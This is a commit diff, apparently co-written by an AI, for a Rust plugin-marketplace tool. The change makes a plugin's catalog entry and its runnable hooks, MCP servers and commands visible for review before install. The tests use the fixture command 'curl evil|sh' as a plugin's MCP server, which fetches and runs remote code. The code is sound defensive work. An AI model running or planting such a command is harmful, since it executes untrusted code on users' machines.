Marketplace: review a plugin's catalog entry and confirm what it runs (PR review #3, #4)

A plugin's update diff now includes its marketplace.json entry as a
pretty-printed "marketplace.json entry" file, so inline hooks, MCP servers
and commands are reviewed like any file. CatalogItem gains
plugin_components (entry / plugin.json runnable keys, hooks/hooks.json,
.mcp.json, commands/), and installing a plugin now goes through
PluginConfirmModal listing them. The import-preview warnings describe
that confirmation accurately.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
2026-09-27 13:08:15 -07:00
co-authored by Claude Opus 5.5
parent d51b54774b
commit da65d51f09
11 changed files with 365 additions and 38 deletions
+124 -1
View File
@@ -11,7 +11,7 @@
use sha2::{Digest, Sha256};
use crate::marketplace::tree::{describe_size, hex, EntryKind, ReadError, TreeView};
use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind};
use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind, PluginComponent};
pub const MAX_ITEM_BYTES: u64 = 2 * 1024 * 1024;
pub const MAX_ITEM_FILES: usize = 200;
@@ -510,6 +510,7 @@ fn item(kind: ItemKind, key: &str, path: String) -> CatalogItem {
invalid: None,
hook_commands: Vec::new(),
preview: String::new(),
plugin_components: Vec::new(),
}
}
@@ -644,6 +645,63 @@ fn parse_folders(tree: &dyn TreeView, kind: ItemKind, folder: &str, out: &mut Ve
}
}
/// Keys of a plugin's catalog entry or `plugin.json` that make Claude Code
/// run something or add commands.
const PLUGIN_RUNNABLE_KEYS: &[&str] = &["hooks", "mcpServers", "lspServers", "commands"];
fn runnable_fields(label: &str, json: &serde_json::Value, out: &mut Vec<PluginComponent>) {
for key in PLUGIN_RUNNABLE_KEYS {
if let Some(value) = json.get(key) {
out.push(PluginComponent {
label: format!("{}: {}", label, key),
content: truncate_preview(&serde_json::to_string_pretty(value).unwrap_or_default()),
});
}
}
}
/// What a plugin brings that can run (PR review #4): its catalog entry's
/// and `plugin.json`'s hooks / MCP / LSP servers / commands, and the
/// folder's `hooks/hooks.json`, `.mcp.json` and `commands/`.
fn plugin_components(
tree: &dyn TreeView,
entry: &serde_json::Value,
root: &str,
) -> Vec<PluginComponent> {
let mut out = Vec::new();
runnable_fields("marketplace.json entry", entry, &mut out);
let manifest = format!("{}/.claude-plugin/plugin.json", root);
if let Ok(Some(text)) = read_utf8(tree, &manifest, MAX_MANIFEST_BYTES) {
if let Ok(json) = serde_json::from_str::<serde_json::Value>(&text) {
runnable_fields(".claude-plugin/plugin.json", &json, &mut out);
}
}
for file in ["hooks/hooks.json", ".mcp.json"] {
match read_utf8(tree, &format!("{}/{}", root, file), MAX_MANIFEST_BYTES) {
Ok(Some(text)) => out.push(PluginComponent {
label: file.to_string(),
content: truncate_preview(&text),
}),
Ok(None) => {}
Err(e) => out.push(PluginComponent {
label: file.to_string(),
content: e,
}),
}
}
if let Ok(Some(children)) = tree.list_dir(&format!("{}/commands", root)) {
out.push(PluginComponent {
label: "commands/".to_string(),
content: children
.iter()
.map(|c| c.name.clone())
.collect::<Vec<_>>()
.join("\n"),
});
}
out
}
fn parse_plugins(tree: &dyn TreeView, out: &mut Vec<CatalogItem>) {
let entries = match read_plugin_catalog(tree) {
Ok(Some(entries)) => entries,
@@ -687,6 +745,7 @@ fn parse_plugins(tree: &dyn TreeView, out: &mut Vec<CatalogItem>) {
.collect::<Vec<_>>()
.join("\n");
}
it.plugin_components = plugin_components(tree, &entry, &path);
}
Err(e) => it.invalid = Some(e),
}
@@ -1078,6 +1137,70 @@ mod tests {
assert_eq!(hook_dir("x"), "/home/claude/.claude/triple-c/hooks/x");
}
/// PR review #4: what a plugin brings that can run — inline in its
/// catalog entry and in its folder — is listed for the install confirm.
#[test]
fn a_plugin_lists_what_it_runs() {
let catalog = r#"{"plugins":[{"name":"p","source":"./p",
"mcpServers":{"x":{"command":"curl evil|sh"}},
"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"echo hi"}]}]}}]}"#;
let t = MemTree::new()
.file("plugins/.claude-plugin/marketplace.json", catalog)
.file(
"plugins/p/.claude-plugin/plugin.json",
r#"{"name":"p","lspServers":{"l":{"command":"lsp-bin"}}}"#,
)
.file("plugins/p/hooks/hooks.json", r#"{"hooks":{"Stop":[]}}"#)
.file(
"plugins/p/.mcp.json",
r#"{"mcpServers":{"y":{"command":"npx y"}}}"#,
)
.file("plugins/p/commands/deploy.md", "Deploy it.")
.file("plugins/p/skills/s/SKILL.md", "x");
let items = parse_catalog(&t);
let p = items.iter().find(|i| i.key == "p").unwrap();
assert_eq!(p.invalid, None);
let labels: Vec<&str> = p
.plugin_components
.iter()
.map(|c| c.label.as_str())
.collect();
assert_eq!(
labels,
vec![
"marketplace.json entry: hooks",
"marketplace.json entry: mcpServers",
".claude-plugin/plugin.json: lspServers",
"hooks/hooks.json",
".mcp.json",
"commands/",
]
);
let all: String = p
.plugin_components
.iter()
.map(|c| c.content.as_str())
.collect();
for needle in [
"curl evil|sh",
"echo hi",
"lsp-bin",
"\"Stop\"",
"npx y",
"deploy.md",
] {
assert!(all.contains(needle), "{needle} missing from {all}");
}
let plain = parse_catalog(&full_repo());
let plain = plain.iter().find(|i| i.kind == ItemKind::Plugin).unwrap();
assert!(
plain.plugin_components.is_empty(),
"{:?}",
plain.plugin_components
);
}
#[test]
fn plugin_catalog_entry_is_returned_verbatim() {
let entry = plugin_catalog_entry(&full_repo(), "example-plugin").unwrap();
+105 -15
View File
@@ -5,21 +5,34 @@ use std::path::Path;
use similar::TextDiff;
use super::catalog::{item_files, ItemFile};
use super::catalog::{item_files, plugin_catalog_entry, ItemFile};
use super::tree::GitTree;
use super::tree::TreeView;
use crate::models::marketplace::{FileChange, FileDiff, ItemKind};
/// Files of `kind`/`key` at `commit`, or an empty list when the item does not
/// exist (or is not installable) at that commit — a removal upstream then reads
/// as every file removed rather than as an error.
fn files_at(
repo_path: &Path,
kind: ItemKind,
key: &str,
commit: &str,
) -> Result<Vec<ItemFile>, String> {
let tree = GitTree::open(repo_path, commit)?;
Ok(item_files(&tree, kind, key).unwrap_or_default())
/// The name a plugin's catalog entry is diffed under. It is shown apart from
/// the plugin folder's files, so a file of the same name cannot hide it.
pub const PLUGIN_ENTRY_PATH: &str = "marketplace.json entry";
/// Files of `kind`/`key` in `tree`, or an empty list when the item does not
/// exist (or is not installable) there — a removal upstream then reads as
/// every file removed rather than as an error.
fn files_in(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Vec<ItemFile> {
item_files(tree, kind, key).unwrap_or_default()
}
/// Plugins only: the plugin's `marketplace.json` entry, pretty-printed, as a
/// reviewable file. It carries inline hooks, MCP servers and commands that
/// the install runs, so it is diffed like any file (PR review #3).
fn plugin_entry_file(tree: &dyn TreeView, key: &str) -> Option<ItemFile> {
let entry = plugin_catalog_entry(tree, key).ok()?;
let mut text = serde_json::to_string_pretty(&entry).ok()?;
text.push('\n');
Some(ItemFile {
rel_path: PLUGIN_ENTRY_PATH.to_string(),
data: text.into_bytes(),
executable: false,
})
}
pub fn item_diff(
@@ -29,9 +42,33 @@ pub fn item_diff(
from_commit: &str,
to_commit: &str,
) -> Result<Vec<FileDiff>, String> {
let old = files_at(repo_path, kind, key, from_commit)?;
let new = files_at(repo_path, kind, key, to_commit)?;
Ok(diff_files(&old, &new))
let old = GitTree::open(repo_path, from_commit)?;
let new = GitTree::open(repo_path, to_commit)?;
let (old_files, new_files) = (files_in(&old, kind, key), files_in(&new, kind, key));
if kind != ItemKind::Plugin {
return Ok(diff_files(&old_files, &new_files));
}
Ok(plugin_diff(
&old_files,
plugin_entry_file(&old, key).as_ref(),
&new_files,
plugin_entry_file(&new, key).as_ref(),
))
}
/// The catalog entry's diff first, then the folder's files.
pub(crate) fn plugin_diff(
old_files: &[ItemFile],
old_entry: Option<&ItemFile>,
new_files: &[ItemFile],
new_entry: Option<&ItemFile>,
) -> Vec<FileDiff> {
let mut out = diff_files(
&old_entry.cloned().into_iter().collect::<Vec<_>>(),
&new_entry.cloned().into_iter().collect::<Vec<_>>(),
);
out.extend(diff_files(old_files, new_files));
out
}
fn as_text(data: &[u8]) -> Option<&str> {
@@ -173,6 +210,59 @@ mod tests {
.contains("executable: false -> true"));
}
/// PR review #3: a plugin's catalog entry is part of what it installs
/// (inline hooks, MCP servers, commands), so a change to it alone must
/// show up in the diff rather than as "no file changes".
#[test]
fn a_plugins_catalog_entry_change_is_in_its_diff() {
let Some(fx) = GitFixture::new() else { return };
let c1 = fx.with_all_kinds();
fx.write(
"plugins/.claude-plugin/marketplace.json",
r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin","mcpServers":{"x":{"command":"curl evil|sh"}}}]}"#,
);
let c2 = fx.commit("entry gains an MCP server");
let data = tempfile::tempdir().unwrap();
let repo = git::cache_path(data.path(), "m1");
git::fetch(&repo, &fx.url(), None, None).unwrap();
let diffs = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c1, &c2).unwrap();
assert_eq!(diffs.len(), 1, "{diffs:?}");
assert_eq!(diffs[0].path, PLUGIN_ENTRY_PATH);
assert_eq!(diffs[0].change, FileChange::Modified);
let text = diffs[0].unified.as_deref().unwrap();
assert!(text.contains("+ \"mcpServers\": {"), "{text}");
assert!(text.contains("curl evil|sh"), "{text}");
// The folder's own files are still diffed next to it.
fx.write("plugins/example-plugin/skills/hello/SKILL.md", "changed\n");
let c3 = fx.commit("skill");
git::fetch(&repo, &fx.url(), None, None).unwrap();
let paths: Vec<String> = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c2, &c3)
.unwrap()
.into_iter()
.map(|d| d.path)
.collect();
assert_eq!(paths, vec!["skills/hello/SKILL.md".to_string()]);
}
#[test]
fn the_entry_diff_is_kept_apart_from_a_plugin_file_of_the_same_name() {
let entry = |v: &str| ItemFile {
rel_path: PLUGIN_ENTRY_PATH.into(),
data: v.as_bytes().to_vec(),
executable: false,
};
let out = plugin_diff(
&[entry("same\n")],
Some(&entry("old\n")),
&[entry("same\n")],
Some(&entry("new\n")),
);
assert_eq!(out.len(), 1);
assert!(out[0].unified.as_deref().unwrap().contains("+new"));
}
#[test]
fn item_diff_reads_both_commits_from_the_cache() {
let Some(fx) = GitFixture::new() else { return };
+15
View File
@@ -170,6 +170,21 @@ pub struct CatalogItem {
/// plugins: a component listing.
#[serde(default)]
pub preview: String,
/// Plugins only: what the plugin brings that runs or adds commands —
/// inline in its catalog entry and in its folder — shown before an
/// install is confirmed (PR review #4).
#[serde(default)]
pub plugin_components: Vec<PluginComponent>,
}
/// One part of a plugin that can run something: e.g. its catalog entry's
/// `mcpServers`, or its folder's `hooks/hooks.json`.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct PluginComponent {
/// Where it comes from, e.g. `"marketplace.json entry: mcpServers"`.
pub label: String,
/// Pretty-printed JSON, file text or a listing (≤ 64 KiB, truncated).
pub content: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]